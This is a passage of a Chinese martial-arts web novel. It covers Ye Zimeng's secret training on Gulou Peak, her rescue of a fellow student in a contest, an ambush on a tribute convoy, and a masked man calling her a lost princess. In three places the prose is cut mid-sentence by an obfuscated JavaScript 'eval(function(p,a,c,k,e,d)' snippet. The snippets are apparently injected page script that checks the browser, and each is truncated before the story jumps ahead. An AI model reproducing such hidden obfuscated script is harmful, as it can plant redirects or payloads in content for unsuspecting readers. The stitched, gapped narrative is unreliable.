“当然愿意呀,我不怕吃苦的!”叶子萌说。 于是每年的春夏之交,沐灏天就将叶子萌秘密地送到昆仑山古楼峰氼影尊者处,跟着那位世外高人习武修道。 头次见面那天,氼影尊者见到这个乖巧可爱的女孩,高兴得不得了,彼此还行了拜师之礼,女娃娃十分聪明伶俐,向师父赠六礼束修,行跪拜,双手献茶,把老人乐的! 老者还特别叮嘱已跟随自己多年的灵童子:“从今以后,这就是你小师妹了,她年纪尚小,你要好好照顾你这小师妹,凡事要让着她,莫要与她争……” “是,谨遵师命。”灵童子恭恭敬敬地说。 拜师礼完后不久,父母与叶子萌恋恋不舍地分别,女孩儿也不撵路,很听大人的话。 之后,氼影尊者每天教授她,在教她武功的同时,更重视对她进行人生的教诲和大道的修行。叶子萌也是块纯朴的好料,很努力地学习着,有时到了晚上,还会在月光下研读那些深奥的典籍,就这样一年一年过去,她心境如虹,持续精进,明显长进不少…… 生活不免枯燥,幸好古楼峰除了师尊,还有师兄灵童子,年龄虽大了叶子萌许多,但仍面容清秀,所谓“貌若处子”,说的就是像他这样与世隔绝的修行人。 灵童子外表看上去有些呆板,但心性纯良,经常教叶子萌换被洗衣,陪她在师父那里听经讲道,下来替她解惑,有时也被她捉弄,倒也可聊以解闷。 氼影尊者还教他们做糖蒸酥酪,边做边说:“这酥酪其实就是稻饼,《齐民要术》中有方法,将糯米粉用绢罗筛过,加水和蜜,再将枣和栗子贴上粉团,用箬叶裹着,蒸熟即成。” 但分糕时,叶子萌总能多分一些,灵童子只能干瞪眼。 “你瞪眼做甚?”氼影尊者立马抓住他把柄,说,“我都没吃一块,你怎么还有嗔念?” 灵童子小声嘟囔着,声音小得只有自己能听见:“你可辟谷呀……” 氼影尊者不仅呵斥他有“贪嗔痴”三念,到晚上还把他叫去继续训斥:“习道之人,最忌讳的就是这种不善根,你呀,要好生省悟……” 有一次,叶子萌有些无聊了,便捉来一只螳螂,用罗帕小心翼翼包着,跑去对灵童子说:“师兄,师父又给我两块稻饼,我吃了一个,还剩一个,只要你给我讲个有趣的故事,我就把这块稻饼给你吃。” “师父偏心……”灵童子说。他也有孩童心性,但又想吃那块稻饼,于是给叶子萌讲了个当年天师在丈人山捉鬼的故事,想吓吓小师妹。 不料叶子萌不仅一点都不害怕,还听得津津有味,末了,见讲完故事的灵童子盯着她手里的罗帕,于是伸手说道:“给你!” 灵童子便接过罗帕,打开帕子,突然那螳螂就跳出来,跳到灵童子的鼻子上,灵童子没料到,吓了一大跳,惹得叶子萌嘻嘻大笑,一溜烟逃跑了…… 灵童子告到师父那里去,没想到氼影尊者不仅没责怪叶子萌,反而哈哈大笑,指着灵童子鼻子教训说:“你呀,都这般年龄了,还忘不了个贪,贪吃!你师妹是在用这个方法启发你呢!” 灵童子本来还在生闷气,但一听师父提到“年龄”二字,就不好意思地捏捏自己鼻子,不哼声了,心里暗暗告诫自己:我今年的确是六十有二,已过了花甲,就不去与小师妹计较了吧…… 每年到了夏末初秋,沐灏天就要进山来接叶子萌回去,同时也给山上的他们捎带些米粮和物品,孩子才拜别师父,跟着爹爹下山,然后又等待来年春末再上山见师父。 …… 寒来暑往,秋收冬藏,一晃又是七八年过去,叶子萌终于长大,出落成一个碧玉年华、明媚皓齿的美丽少女。 沐灏天也终于在魏国蜀都城开设了一家武馆,挂上匾额,取名圣武堂,招募了二三十名徒弟,每天就在那里练武习道,渐渐名声鹊起,令当上馆主的沐灏天喜忧参半。 喜的是,这么多年过去,一切都风平浪静,没人再来追究那些往事,他沐灏天的人生终不至沉沦,又开始上了正道;忧的是,对武馆来说,声名远扬虽是好事,但对于有特殊经历的他们,却可能藏有巨大的风险? 武馆里的这些徒儿,均是魏国少侠中的佼佼者,因慕其沐灏天有绝世武功,纷纷前来投其门下,练武习道,其中优异者有西门轩、子寻风、顾影寒、千沧雪等青年才俊。 叶子萌呢,按照爹爹的吩咐,她平时就女扮男装,混迹于男儿中一起习武。 但是,她又与这些男儿不同,每年春夏时节,武馆里就不常见她身影,说是去远方姑姑家省亲,究竟去了什么地方,除了馆主师父与媚娘,谁也不知道。 圣武堂里纪律严明,而那些前来拜师习武的年轻少侠,个个风流倜傥,高风亮节,颇具君子之风,因此在魏国有些名气,那些王公贵族府上的小姐们都以结识他们为荣,所以他们谁也不屑去打探他人隐私,去做好奇的凡俗之徒。 叶子萌在圣武堂这些少侠眼里,只是个乳臭未干的小孩儿,乃师父师娘的掌上明珠,也颇有灵气,师父对她特别抬爱和照顾罢了。 他们都不知,原来她是在昆仑山一个世外高人处秘密修行练功、冥想谈道,早已练得一手绝世武功,悟性也甚高,深受氼影尊者喜爱。 …… 这天,圣武堂里异常热闹,因为每年春天,这里都要举行比武堂会,招募新弟子,虽是招募,但是规矩甚严,比武者必须要战胜武馆弟子一名,才有资格被馆主接纳。 同时,这也是魏国那些王公贵族府上的千金小姐们,前来目睹武馆西门轩、子寻风等一干英俊少侠的最佳时机,其中的云媃和静香,这两个官家小姐,就是因各有心仪之人,并托府尹蒋同归出面说情,才进圣武堂拜师学艺的。 沐灏天本来没招收女徒,但这是蜀都府尹蒋同归亲自引荐介绍而来,沐灏天不便推脱,只好破例。 有时魏国宫廷或蜀都府衙也会来人,替皇宫选拔出类拔萃者,为羽林军左右统领,甚至成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“花拳绣腿?”西门轩自言自语,盯着他看。 忽然,那人身形突变,犹如鬼影闪现,轻飘飘地于银光中飘荡不已,台下柱子旁的叶子萌见状,暗暗惊讶,不再无精打采,开始注目观看。 这时的西门轩不敢怠慢,但见他也运起功力,与这来者不善之神秘人比试起来,一时间,台下看客寂静无声,台上刀剑铿锵作响。 两人的身形若有似无,形如淡烟,幻如鬼魅,两把长剑也发出阵阵啸声,似在凄厉呻吟,到此境地,台下一干对手休说再去比试,只怕早已被那凄厉呻吟和清冷寒光吓得魂飞胆破,夺路而逃。 突然,西门轩身形一闪,竟被逼在一角,眼看就要遭对方狠手,台下的叶子萌见状,顾不得那么多了,轻轻一跃就上台去,这叫无为真气盈盈而生、无为玄功荡荡而出,一下就黏住了那位神秘剑客。 叶子萌看出来了,这个神秘剑客的“禹步剑法”,练得是如此出神入化,于是心里一激荡,便忍不住了,喝一声:“待我与你同练吧……” 话未落音,她已提脚一晃,落入那北斗七星位置上,与对方来回穿梭、闪错有致地踏起禹步,只见她长剑游刃、银光闪闪,对方身形晃荡,也不出禹步,但见北斗七星上两团影儿疾闪如飞,若隐若现,龙蛇翻腾,如胶似漆,遂成一体…… 突然,紫色绣袍男子身形一歪,倒悬而出,喘着气儿向叶子萌抱拳一拜:道:“啊呀,这位小哥武功了得,玄元神功已是深不可测,鄙人甘拜下风……”说完,身子一扭,跳下台去,很快消失。 台下顿时响起一片喝彩声,台边的西门轩也睁大惊讶的眼睛,十分不解地望着叶子萌,似乎在问:这还是平时那个叫“燕子”的女孩儿吗? 不仅是西门轩,台下的子寻风、顾影寒、千沧雪等人,也全都惊讶地望着叶子萌,好像不认识她了似的,子寻风甚至对顾影寒、千沧雪等人说:“看见没有,这才叫‘真人不露相’,哎呀呀,我们全都被骗了……” 叶子萌见状,这才猛然回过神来,连忙收了剑式,轻飘飘地跃下台去,冲他们做了个鬼脸,然后用袖袍微掩面庞,冲向后院而去。 13. 遇神秘客,点穿身份 这一切,堂主沐灏天全看在眼里,他正陪蜀都府尹蒋同归观看比武,叶子萌上台拦截紫色绣袍男子、挽回武馆败局的情景只在片刻之间,蒋同归也看在眼里,不由赞叹道:“这圣武堂真是藏龙卧虎之地啊!” 沐灏天不动声色,轻描淡写地说:“蒋大人谬赞,女孩儿家,都是花拳绣腿而已,不值一提,不值一提……” “哎,”蒋同归反驳道,“堂主莫要蒙我,你们这位小女侠年纪轻轻,武功了得,看得老夫我眼花缭乱、好生佩服,这功夫绝非常见啊!” 沐灏天只好有些尴尬地陪笑,也不多说什么,只是掉过头去,搭手远眺着已远去的那个紫色绣袍男子,注视良久。 陪完并送走府尹蒋同归,沐灏天一脸阴沉地回到后院,进了堂屋。思忖片刻,恰好这时徒弟子寻风进来,他便吩咐子寻风道:“你去将燕儿给我寻来!” 子寻风便去叫叶子萌,终于在后院草坡那里找到她,问道:“你躲在这里做甚?师父叫你去呢!” “什么叫‘躲’?”叶子萌从草坡轻轻一跃跳下来,又指着自己脸蛋问道,“我爹这里如何?” “什么?”子寻风指着自己的脸,不明就里。 “脸色呀,”叶子萌说,“是否面露愠色?” “哦,那倒看不出,师父一向藏得深……”子寻风说,“对了,你也藏得好深,在哪里偷学的武功?” 叶子萌没理他,径直就朝爹爹房门去了,进了堂屋,还未等沐灏天发话,上前就去给他捶背,边捶背边笑着说:“爹爹,你先别生气,我把这其中道理讲给你听。” “啪!”沐灏天将桌子一拍,站了起来,刚好子寻风正要进门,见状,连忙将前脚缩回,然后转过身一溜烟跑了。 “哦?你还有理?”沐灏天一听,又气又好笑,“是何道理,你倒是说说?” 叶子萌并不怕她爹爹,因为她知道这世上爹爹和娘亲是最疼爱她的,今天爹爹生气,其实也是爱她的另一种表现。 “我知道爹爹为何生气,”她说,“就怕我在外露面呗。不过,你看,那个紫色绣袍男子,今日来此定是有备而来,如果西门哥哥败了,受伤不说,还会坏了我圣武堂名声,是吧?” “那又怎样?”沐灏天说。 叶子萌背起手在沐灏天面前来回踱步,继续说道:“我出手相救,是情急之下的本份,即使是被外人看破了我的功夫,也没什么大不了,说明爹爹你教得好,我们武馆的确是藏龙卧虎之地呀!” 沐灏天轻轻一喝:“住嘴!那个紫色绣袍的陌生男子功夫了得,来路也不明,这样的场合,我最担心的就是你……” “哼,他的功夫……”叶子萌嘴一撇,正要说什么,沐灏天把手一挥:“勿再多言,这样吧,你准备一下行装,明天赶快离开这里,也该去古楼峰你师父那里呆一段时间、磨磨性子了。” “哦……”叶子萌鼓着腮帮,算是答应,她见爹爹也没过多责怪她,然后偷偷一笑,转过身大摇大摆地向外走去。 刚一推开门,门外簇拥在那里偷听的顾影寒、千沧雪等人,连忙装得像没事儿似的。 叶子萌的嘴撇了一下,往前走去,顾影寒、千沧雪等一干人在后慢慢尾随,非常好奇地看着叶子萌,好像她现在长出了三头六臂、需要重新研究琢磨她一番似的。 “燕儿妹妹,”顾影寒说道,“你今儿真是让我等开了眼界,我们都刚刚听见,你好像在外还有个师父,原来是他教给了你的上乘功夫!告诉我们,他是谁?” 叶子萌回头过去,看看四周无人,这才对他们举起了手,指指天,然后又指指地,继而又指指他们…… 众人都不明白她是什么意思,不由你看我,我看你,然后又掉头去看她,叶子萌却只装哑巴,往前就走。 突然,叶子萌又停住,原来前面走来了西门轩,叶子萌就又用舌头鼓起腮帮,眼睛假装看别处去。 西门轩气度凌然、步态矫健,却是面无表情;他走到叶子萌面前,就要与她擦身而过的瞬间,忽又站住,眼睛仍然望着前面,压低声音冷漠地说:“谢了……” “谢我什么呀?”叶子萌装着不懂。 西门轩略一迟疑,又补充一句:“不过以后请你不要再帮我什么,我这人最不喜欢的就是欠别人的情……”说完离去。 叶子萌冲着他后背扮个鬼脸,然后转过身,忽然一个箭步射得老远,身形一晃,眨眼消失,剩下一干人在那里愣着:“啊,这……这……” …… 翌日清晨,叶子萌遵照爹爹的话,收拾行装出门,西门轩见她出门,假装不知,只是站在一棵大树背后,悄悄目送着她的背影;不料聪慧过人的叶子萌一个回头,正逮着了他的目光,让他连忙将脸转过去,颇为尴尬。 叶子萌强忍住笑,旁边陪着她的李媚娘发现异样,回头一望,没看到什么,西门轩已匆匆离开,于是媚娘用手指戳了一下叶子萌额头,然后让她挽着她手臂,出蜀都城,并一路伴随而行。 春天里,蜀都大地像刚从一个漫长的睡梦中苏醒过来的春姑娘,开始百花盛开,争相斗艳,显示出这个富有生命力的季节,也是美丽、神奇、充满希望的季节。 叶子萌迈着轻盈的步子,在一片充满生机的景象里蹦蹦跳跳,那双清澈透明的眼眸到处眺望,似乎感到一切都很新奇。 一旁的媚娘望着这个纯情少女,脸上不由充满笑意和怜爱,这十几年来,她一直将她当成自己的亲闺女,对她关爱有加,而叶子萌呢,也常喜欢在她面前撒娇。 “燕儿,”媚娘说,“此一进山又是几月,你要跟着师父好生学习,不要调皮,以免惹他老人家生气。” “师父才不会生我气呢,”叶子萌回头笑着说,“我每次一去,他高兴得很,疼我还来不及哩!” 媚娘其实是没话找话说,每次都这样,叶子萌要离开她,她有些舍不得:“也不要惹你灵哥哥生气,更莫要去捉弄他,他生性纯良,不谙人世。” 媚娘说的这个“灵哥哥”,便是一直跟随在氼影尊者身边的灵童子,他究竟多大年纪,媚娘和叶子萌都不知,只知他的玄元神功已达上乘。 一听娘亲提起“捉弄”二字,叶子萌就想笑,脑海里浮现出最近那幕:她在山上再次捉弄灵哥哥,父亲沐灏天上山得知后,责备了她一通;可是师父氼影尊者却并未责怪过她,只呵呵一笑,把髯说道:“此孩子是有些顽皮,性情所致,随她去吧……” 走着走着,这时太阳已升高,官道上忽来一队人马,前面旌旗猎猎,旗上有“魏”字,中间有一乘贴花辇轿,还有装载着物品的车辆,后面也是跟随的兵士,一看就知阵势不小。 媚娘拉着叶子萌恭敬退到路边,表现出很好的教养,等待车队过去,那乘辇轿擦身而过时,轿厢的窗帘缓缓拉开,现出一张白皙的女孩儿脸庞,那少女看上去,年龄与叶子萌几乎一般大。 但见这个曼妙女孩素颜黄衫,青丝墨染,若仙若灵,模样儿特别地水灵和乖巧,仿佛仙境中人物……她一见叶子萌,就特别地好奇,忍不住又回头多看两眼;叶子萌呢,也颇感兴趣地注视着她,并轻轻颌首,微微一笑。 前面就是一片浓密的树林,这个车队刚进树林,忽然,树林两边喊杀声大作,接着就见一伙黑衣人从坡上唰唰跃下,直扑车队。 这些黑衣人都蒙着面,个个身手矫健,手里的刀剑在阳光下发出闪闪寒光,跳跃如蛙,瞬间就抵达官道上的车队近前,挥剑就杀。 车队的官兵和护卫武士也挥舞大刀长剑奋力抵挡,双方纠缠厮杀起来,其中有个骑白马拿长矛的骁将,站在马车和轿前左右拼杀。 叶子萌和媚娘见状,也分不清是什么情况,就紧握身上的佩剑,静待观察。 此时,三个黑衣人围住了那个骑马骁将,另外两个黑衣人直扑贴花辇轿,叶子萌心里一惊,正寻思是否要过去帮忙,忽见轿中先前那个曼妙少女闪出辇轿,直扑黑衣人。 只见她粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这时,紫色绣袍蒙面人跳出光影,提起左脚,展开双臂,手爪倒悬,只见呼地一声,腾空而起,像个凶猛的兀鹰一般向叶子萌扑下,然后用钢刀般的双爪直抓她。 叶子萌提脚一晃,忽地闪开,紫色绣袍蒙面人爪子扑个空,却抓住旁边一棵大树,那爪子利刀一般地陷进树身,他用力一撕,只听嚓地一声,那树木就从中裂开,折断倒地。 接着他怪叫一声,又张着利爪朝叶子萌扑去,这次的爪子竟陷进那坚硬的岩石里,将那岩壁处扯得粉碎。 咦?却不见了叶子萌的人影,蒙面人正在奇怪,忽觉头上有异样风声,抬头一看,一团微微的光影从上空飞快旋转而下,他暗叫不好,身子一挫,一个后仰跳开,然后朝树林里落荒而逃。 叶子萌轻喝一声:“哪里逃?……”说着凌空一跳,直朝紫色绣袍蒙面人扑闪而去,那紫色绣袍蒙面人的动作竟然罕见地神速,像一团幻影一般,嗖嗖地掠向山林。 叶子萌运起轻功,身形一晃也成幻影一般,但见两团影子在山林间一前一后呼呼晃过,不见人身,只见暗影。 追到一山坳处,紫色绣袍蒙面人眼看逃不掉了,忽然停下了脚步,转过身朝叶子萌双手一挡,喘着气说道:“且慢,不要再打了,明浩公主!” “什么?公主?”叶子萌突然愣住!她张着嘴巴怔怔地望着这个神秘人,思绪飞快地旋转着,随后冷静下来,继续问道,“你是何人?说的什么公主,我不懂!” 叶子萌是真的不明白,因为从来就没人与她提过什么“明浩公主”,连自己的爹爹与娘亲都没有说过。 蒙面人望着她,然后双臂环抱,单腿跪下,拱手拜道:“明浩公主,鄙人也是奉命而为,寻找你多时,你可千万别为难我啊……” 叶子萌见他如此恭敬,不像在撒谎或开玩笑,于是纳闷起来,疑惑地说:“我还记得你,昨日你曾来我圣武堂比武,咱们还交过手,不过,你是不是认错了人,我不是什么公主,从小只与山林为伴,以习武为生,周围的人都认得我。” 紫色绣袍的蒙面人望着叶子萌,好像有些不相信似的,慢慢研究着她脸上的神情,又问了一句:“你真的不知?” 叶子萌愣愣地望着他,摇摇头说:“还真不知。” …… 14. 结识郡主,与虎嬉戏 紫色绣袍的蒙面人沉思片刻,说:“实不相瞒,我乃受人差遣,寻访公主已有很久,现在已经查实,你就是悒国失散多年的明浩公主……” 叶子萌不解地说:“哦,受人差遣?那……差遣你的又是何人?” 紫色绣袍的蒙面人迟疑一下,摇摇头说道:“我不能就这样告诉你,此人身份无比尊贵,但是请你一定相信,此人对你不仅没有一点恶意,反而是常常想念于你。” 叶子萌听得更是糊涂,无奈地说:“你们是不是搞错了?”想起什么,旋即又问,“对了,说什么‘身份无比尊贵’,那刚才你们为何又打劫人家车队,这岂不是成了拦路抢劫的江洋大盗?” 紫色绣袍的蒙面人说:“公主差矣,这是魏国几乎隔年都要进贡悒国皇帝的物品,此事太过复杂,我们这样做也是奉命而为,实在是身不由己、事出有因……这、这个,我不便多说……” 叶子萌被他说得懵懵懂懂,如坠五里云雾一般,正要再问,却见紫色绣袍的蒙面人身形一晃,已跃过一道小山梁,跑得真是比猎狗还快,倏忽就不见了踪影。 …… 叶子萌呆呆地望了一会,准备回去,刚回头,担心着她的媚娘已经执剑飞快赶来,问道:“那个歹人呢?在哪里?” “已经逃走了……”叶子萌又回过头望着远处,呆呆地说。 “但愿那厮下次别遇见我,”媚娘恨恨地说,“否则有他好受的!” 两人返回官道,魏国的车队正在重新整理行头,但是据护卫说,车上有一件最贵重的物品已经不见,正在搜寻,怀疑是被那伙黑衣人劫去。 此时,先前那个素颜黄衫的少女向叶子萌走来,她面带微笑,对叶子萌欠欠身子,十分恭敬地说道:“多谢少侠搭救,还未问过少侠尊姓大名?年龄几何?” 叶子萌忍不住抿嘴一笑,有些羞怯地说:“我叫燕儿,今年十六。” 素颜黄衫少女惊讶地一笑,道:“刚才我就怀疑你是个女子,现在一听声音,果然是位男扮女装的女少侠,我今年恰好也是十六!我姓石,叫梦桃,魏国杏花坞主人石秉章之女,感谢燕儿姑娘刚才出手相救!” “原来是石亲王的郡主?”叶子萌说,“既然是石亲王的车队,敢问梦桃郡主,你们车队是否是去悒国进贡?” 梦桃点点头说:“是呀,我们几乎隔一年就要去一次,上一次是我爹爹带着车队去,今年我想去悒国玩玩,征得爹爹同意后,就让休染哥哥陪我一同前往。” “哦?”叶子萌点点头,暗想:原来那个蒙面人说的是真的…… 正说着,先前那个拼命护住贴花辇轿的年轻骁将过来了,梦桃便招呼他对叶子萌说:“这位就是我说的休染哥哥,我表哥……来,这位是燕儿姑娘,刚才幸亏她出手相救。” 来人正是石休染,从小就在杏花坞习武,诗画皆能,此时的他已卸下沾血的盔甲,显得身形颀长,穿一件蓝色云翔彩纹装,腰间缀着白玉佩,头发黑亮如绸缎,倒有几分文雅之气。 他过来向叶子萌和媚娘拱手一拜,道:“多谢两位女侠!” 叶子萌这才想起什么,忙拉着媚娘对他们介绍道:“对了,忘了介绍,这是我娘亲,大家都叫她媚娘……” 这时媚娘微微笑道:“好了,时候不早了,你们快上路吧!” 梦桃姑娘似乎不舍,她拉着叶子萌的手说:“燕儿姑娘,想不到你武功如此之好!以后有空就来我杏花坞玩玩吧,我们杏花坞有山有水,风景可美丽咧,还有不少风流倜傥的小哥哥呢……” 叶子萌对魏国的杏花坞早有所闻,那可是个出了名的地方,里面的人不争不妒,过着田园牧歌般的悠闲生活,正像士人所形容的那样,真乃一个“几只蝴蝶飞、瑶池仙子降”的世外福地。 叶子萌自然也很想去看看,于是说:“有空时我一定去玩……对了,你有空也可来我们武馆玩呀,圣武堂里也有不少潇洒风流的小哥哥哟……” 两个女孩子就在那里嘻嘻说笑着,显出女孩儿的顽皮。 …… 大家恋恋不舍地分手,待叶子萌和媚娘告辞梦桃郡主的车队后,又继续上路,在前面不远处拐个弯,沿着条小道朝古楼峰方向去。 一路上无话,渐渐地,叶子萌像有了心事,她禁不住又想起刚才那个紫色绣袍的蒙面人,以及他嘴里说的“明浩公主”。 她努力去回忆往事,回忆自己的孩童时代,越来越多的疑问便渐渐涌上心头。 爹爹为何最喜欢她女扮男装?娘亲为何常叫她别去外面,说这世间险恶?最令她不解的是,她的功夫在武馆里明明最好,爹爹却从来不让她在外显露,甚至还瞒着自家武馆的师兄们? 还有一次,她去爹娘房间,正听见他们在议悒国皇宫之事,一见她进门来,立马停住话头,不再吱声,装得无事一般,但两人明显脸色凝重,像在防范。 其实她早听人说过,悒国是个万国来朝之地,她也很想去那里的京城游玩一番,但是每当她提起那个地方,爹爹和娘亲就噤若寒蝉,就像那是个非常可怕的万丈深渊,更是从不带她去玩,说那里是个被下过魔咒的是非之地,不可踏入半步…… 这些过往之事,如今一桩桩、一件件涌上了叶子萌心头,平素活蹦乱跳的女孩儿,现在心头却像压上了灰蒙蒙一座大山,令她默默无语了。 “燕儿,”媚娘这时问道,“你怎么了,在想什么呢?” 叶子萌很想问问她娘亲,那些她不明白的一切,但她心如乱麻,不知该从何说起;更想将刚才紫色绣袍蒙面人对她说的“明浩公主”一事告之于她,又觉得太过突兀,于是摇摇头道:“娘亲,就要离开你了,就是有些舍不得呢。” 媚娘一听,诧异地望着她说:“哟,我们的燕儿怎么变得多愁善感起来,这可是不像平日的你哟?” 说话间,来到前面一山梁上,那里有一株遒劲弯曲的苍松,这就是她与娘亲该分手的地方,再过一座山峰就是古楼峰地界,一声虎吼隐隐传来,像在告诉世人,不可过界。 媚娘望着那边苍苍茫茫的山影,对叶子萌轻声说:“燕儿,这次娘就送你到此,你一人去吧……” 叶子萌默默地拥抱了一下娘亲,不再说话,转身朝远处山峦而去……媚娘眺望着她的背影,嘴里喃喃地说道:“我的燕儿已经长大了,以后可以单独出门了。” …… 告别娘亲后,叶子萌心头上的伤感之情更浓,她努力地寻思着,这样的忧伤从何而来,它竟像空中弥漫的水气,无法排遣,浸润了全身。 她索性坐下地,双盘打坐,开始调息,好容易才从那种忧伤的情绪中缓过气儿来,待滔滔意念稍微平息,再睁开眼睛,却吓了一跳! 原来,面前不远处的一岩石上,此刻蹲着一只黄黑条纹的老虎,正对她虎视眈眈,那虎嘴边的胡须,也瞧得真真切切。 叶子萌这时认出了它,原来正是古楼峰地界上的那只神虎,于是她轻轻一跃,跃上岩石,就去捉它的尾巴。老虎转身往岩石下面一跃,叶子萌的顽皮劲来了,轻轻一喝:“看你往哪逃?”就尾随而去…… 此虎淡黄色的皮毛上夹杂着黑色条纹,毛色干净光滑,非常漂亮,而它那粗壮的四肢和炯炯有神的眼睛,看上去也威风凛凛,体态呈流线型,肌肉结实健美,奔跑起来充满一起一伏的旋律动感。 一只威武不凡的神虎,一个步履轻盈美丽如花的少女,就在这草坡和山坳间你追我赶,所到之处,树枝摇曳,花瓣乱飞,好一幅绝世罕见的五彩猛虎少女图! 之前,叶子萌问起这只神虎时,师父氼影尊者曾给她讲过一个故事—— 魏国曾有个远近闻名的药王,有一次在山中采药路上,被一只老虎拦住,药王一无所措,盯着老虎,奇怪的是老虎并未扑来,反而张大嘴蹲着,似在乞求什么。 药王缓缓接近老虎查看,原来是一块动物骨头深深扎入老虎咽喉,善良的药王就想帮它去除这块骨头,又担心老虎若因疼痛突然闭嘴,那他胳膊就会被咬断。 于是他取下自己扁担上一个铜环,将它放入虎口中撑开,再将手从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对于这个灵哥哥,叶子萌对他还是颇有些好奇的,一直想问他,但又怕唐突,产生误会。这些问题便是:他年年岁岁在这里跟着师尊修行,不觉得寂寞吗?他的道行究竟有多深?他的脸庞怎么看上去岁月无痕、仍然宛若孩童?…… 叶子萌研究着他,看得他有些不好意思,渐渐地就有些警惕起来,盯着她奇怪地反问道:“小师妹老是看着我作甚?莫不是又想像上次那样,寻思着怎样再捉弄我一番?” 叶子萌忍不住噗哧一笑。上次,她对灵哥哥的捉弄更是过头,称自己在师父那里学会了一种招魂术,能替他招来他自己前世的魂魄…… “是吗?”灵童子狐疑地望着她,道,“师父哪有这种什么招魂术,我怎么从没听他提起过?” “他不会什么都告诉你的,”叶子萌故作神秘地说,“就像你知道的很多我也不知道一样,是吧?” “招魂术?这听上去怎么有点像旁门左道……” 叶子萌瞧着他半信半疑的样子,便说:“你若不相信,今晚可以去望月台,我帮你施法招魂,你便什么都知道了……” 灵哥哥不知是假装相信,还是真的信以为真,到了晚上就一人去到山巅,在那望月台上坐等了一个夜晚,结果失望而归,回来时叶子萌还在呼呼大睡。 师尊问他这一晚上去了哪,怎么不见了人?他有苦说不出,便谎称自己在望月台习练“占星窥天”大法,结果又被师尊拆穿,弄得他好不尴尬。从那以后,他便对这个顽皮的小师妹更是有了戒备之心。 “我又想捉弄?”叶子萌连忙摆手:“不敢不敢,我只是有些不解,这……” 灵童子注意地看她,道:“吞吞吐吐做甚?小师妹还有不敢说的?” 叶子萌便一笑,道:“其实吧,我知晓师兄你现在已年过花甲,但……灵哥哥是否学得了换颜术,为何看上去永远都这般年轻?” 灵童子沉默半天,这才说:“庄子云,人生天地之间,如白驹之过隙,忽然而已……可是在吾等修行之人眼里,这一切的变化,只不过是幻象罢了,所以,无论是天地之间还是光阴岁月……” “我懂了,心无挂碍!”叶子萌抢着说,“这些道理师父早已讲过,原来还有这般奇效?听说有个旷世高人也是如此,鹤发童颜,与我们师父有得一比……” 灵童子这才明白,叶子萌原来想说这个,于是他不接话头,沉默起来。 15. 奔赴冰峰,观五禽戏 叶子萌瞅他一眼,又继续说:“我就问你,师父闭关前,对你叮嘱过什么没有?” 灵童子不知她何意,纳闷地摇摇头。 叶子萌见他那憨憨的模样,不由摇摇头,说:“比如说,叮嘱你见到小师妹来山上时,应该怎么样怎么样的?” 灵童子懂了,说:“这倒没说过什么,但是……” “这不就对了吗?”叶子萌打断他说,“师父既然没有特别叮嘱过你什么,你怎么做他就不会责怪你了,不是吗?” “你这小师妹,精灵古怪的,究竟想说什么?” 于是叶子萌诡谲地一笑,说:“师父酉时才出关,这剩余的这么多时间,不如我们出去,到处去玩玩?” 灵童子本就有孩童心性,一听“玩”,也颇动心,问道:“这……你想去哪里玩?” 叶子萌就放低声音说:“听说距这不远,就在昆仑西北一带的玉仙峰,有个叫雪山玉仙的旷世高人,是个貌美如花的百岁女侠,其手下五个徒弟习练的‘五禽戏’功法,十分好玩,我们何不去打探打探?” “原来小师妹打的是这主意?”灵童子道:“这恐怕不妥,师尊曾提醒过,说修行之人要遵规守矩,不可越界。” 叶子萌说:“以你我轻功,去看看不过一顿饭工夫,一会就返回,顺便我们再练练御风而行之术,一举两得!” 一提起御风术,又惹着了灵童子,他说:“当年的列子拜师已五年,老商氏才对他有了点笑脸,七年后才教他从心所念无是非;可是你,才三年师父就教了你御风术,比我还早了五六年呢,你说师父偏不偏心?” “废话少说!”叶子萌道,“你究竟去不去?不去我一人去啦!” 灵童子犹豫一下,这才将袖袍一甩,道:“我怎敢放心你一人去……罢了罢了,好,刀山火海我跟你去,酉时前一定赶回。” 说时迟那时快,叶子萌和灵童子运起轻功,开始向西北方向御风而行,那情景,就像两个白袍仙子,衣袂飘飘,在昆仑丘的天空中乘风飞翔。 不知过了多久,两人就到了玉仙冰峰的山麓处,那里丛林遍野,野花盛开,而山上冰峰高耸,气势雄伟,在阳光照射下银光闪闪,眩人眼目。 再往上看,云气蒸腾,冰雪皑皑,透亮的冰峰如尖刀般升入云霄,恍惚间就像在云端里缓缓上升,似要插入蓝天,景象飘缈,令人眩惑。 叶子萌采摘了一朵野花别在耳旁,然后和灵童子用玄元真气护住身体,一会儿腾空跳跃,一会儿脚点流星,直朝那冰峰上面飞快掠去。 来到一缓坡上,缓坡左有尖冰组成的绝壁,右边便是万丈悬崖;缓坡已经冰冻凝固,晶莹透亮,在阳光的照射下,冰面反光直刺眼目,雪白的环境映衬着叶子萌,使她看上去格外明媚动人。 正在这时,忽听几声刺耳的呼啸,五个色彩各异的影子忽然旋来,将叶子萌和灵童子团团围住,定睛一看,却是五个奇形怪状的异形高人! 站东方处的那人长得像猿,双臂过膝,粗大有力;站在南边那人双臂绑有一翅,衣着红袍;站西方处的却是个女子,浑身雪白,面容如膏;站在北方的那个身材魁梧,像个黑熊;站在中央处的是个前额有三道白色虎纹、身上缠着虎皮的汉子,像只白额大虫…… 此五个怪异之人,各属金、木、水、火、土,站在各属方位,摆出一个奇异的阵式,然后那像白额虎的人忽四肢着地,像老虎一般前后蹦跳,侧面蹬脚,仰天呼啸…… 白色女子也四肢着地,像梅花鹿般扭头反看,左右两脚一伸一缩,动作怪异,然后伸长颈娇媚一笑…… 像老黑熊的那个,用那双手环抱膝盖,抬起头来,侧身左滚地下,又侧身右滚地下,真像一只老熊在那里做着什么奇怪动作…… 